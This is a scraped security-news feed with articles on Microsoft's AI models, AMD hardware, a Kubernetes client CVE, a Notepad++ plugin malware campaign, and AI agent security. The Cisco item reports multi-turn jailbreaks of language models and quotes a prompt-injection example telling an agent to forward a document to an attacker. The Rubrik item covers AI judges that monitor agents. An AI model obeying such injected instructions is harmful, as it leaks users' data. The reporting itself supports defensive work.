The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

]]> <![CDATA[Need advice on Alarm Monitoring gig]]> https://tsecurity.de/de/3690356/it-security-nachrichten/need-advice-on-alarm-monitoring-gig/ https://tsecurity.de/de/3690356/it-security-nachrichten/need-advice-on-alarm-monitoring-gig/ Fri, 24 Jul 2026 00:27:44 +0200 📰 IT Security Nachrichten tsecurity.de

Hey everyone so I've been in the security business for 11 years. I've done hospital, driving, escorts, scan points, and command center work.

I moved to California recently and just got hired to do Alarm Monitoring for ADT. It was listed as security/dispatch during third shift.

I'm not sure if it's the right place to ask but does anyone have advice for these types of jobs?

submitted by /u/beepzooom
[link] [comments]]]> <![CDATA[CVE-2026-15687 | Kubernetes Java Client up to 25.0.0/26.0.0 Copy Directory copyDirectoryFromPod enableTarCompressing path traversal (EUVD-2026-48363)]]> https://tsecurity.de/de/3690234/sicherheitsluecken/cve-2026-15687-kubernetes-java-client-up-to-25002600-copy-directory-copydirectoryfrompod-enabletarcompressing-path-traversal-euvd-2026-48363/ https://tsecurity.de/de/3690234/sicherheitsluecken/cve-2026-15687-kubernetes-java-client-up-to-25002600-copy-directory-copydirectoryfrompod-enabletarcompressing-path-traversal-euvd-2026-48363/ Thu, 23 Jul 2026 23:08:42 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Kubernetes Java Client up to 25.0.0/26.0.0. It has been declared as critical. This affects the function copyDirectoryFromPod of the component Copy Directory. Executing a manipulation of the argument enableTarCompressing can lead to path traversal. This vulnerability is registered as CVE-2026-15687. It is possible to launch the attack remotely. No exploit is available. It is recommended to upgrade the affected component.]]> <![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]> https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ Thu, 23 Jul 2026 20:48:24 +0200 📰 IT Nachrichten tsecurity.de When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.

VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

]]> <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Thu, 23 Jul 2026 20:48:09 +0200 📰 IT Nachrichten tsecurity.de

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD Instinct chart showing generational leap in performance

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

AMD Helios rack

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Chart showing AMD EPYC CPU performance

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Hackers Abuse Notepad++ Plugins to Compromise Your System Silently]]> https://tsecurity.de/de/3690005/it-security-nachrichten/hackers-abuse-notepad-plugins-to-compromise-your-system-silently/ https://tsecurity.de/de/3690005/it-security-nachrichten/hackers-abuse-notepad-plugins-to-compromise-your-system-silently/ Thu, 23 Jul 2026 20:38:30 +0200 📰 IT Security Nachrichten tsecurity.de A stealthy new campaign in which the UAC-0099 threat cluster hijacks a legitimate Notepad++ plugin to quietly plant malware on victim machines, marking a significant evolution in the group’s tactics since mid-summer 2026. Uncovered by Ukraine’s CERT-UA, the infection begins


Read more →

The post Hackers Abuse Notepad++ Plugins to Compromise Your System Silently appeared first on IT Security News.

]]> <![CDATA[Hackers Abuse Notepad++ Plugins to Compromise Your System Silently]]> https://tsecurity.de/de/3689927/it-security-nachrichten/hackers-abuse-notepad-plugins-to-compromise-your-system-silently/ https://tsecurity.de/de/3689927/it-security-nachrichten/hackers-abuse-notepad-plugins-to-compromise-your-system-silently/ Thu, 23 Jul 2026 20:12:49 +0200 📰 IT Security Nachrichten tsecurity.de A stealthy new campaign in which the UAC-0099 threat cluster hijacks a legitimate Notepad++ plugin to quietly plant malware on victim machines, marking a significant evolution in the group’s tactics since mid-summer 2026. Uncovered by Ukraine’s CERT-UA, the infection begins with a phishing email carrying an image that links, via a URL-shortening service, to a [
]

The post Hackers Abuse Notepad++ Plugins to Compromise Your System Silently appeared first on Cyber Security News.

]]> <![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]> https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ Thu, 23 Jul 2026 19:19:49 +0200 📰 IT Nachrichten tsecurity.de At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."

“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.

YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"

Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep.

"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.

SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.

Security approval, not cost, blocks AI ROI

Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard.

Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."

VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision.

One AI reading what the rulebook can't

Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.

The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.

Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.

When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.

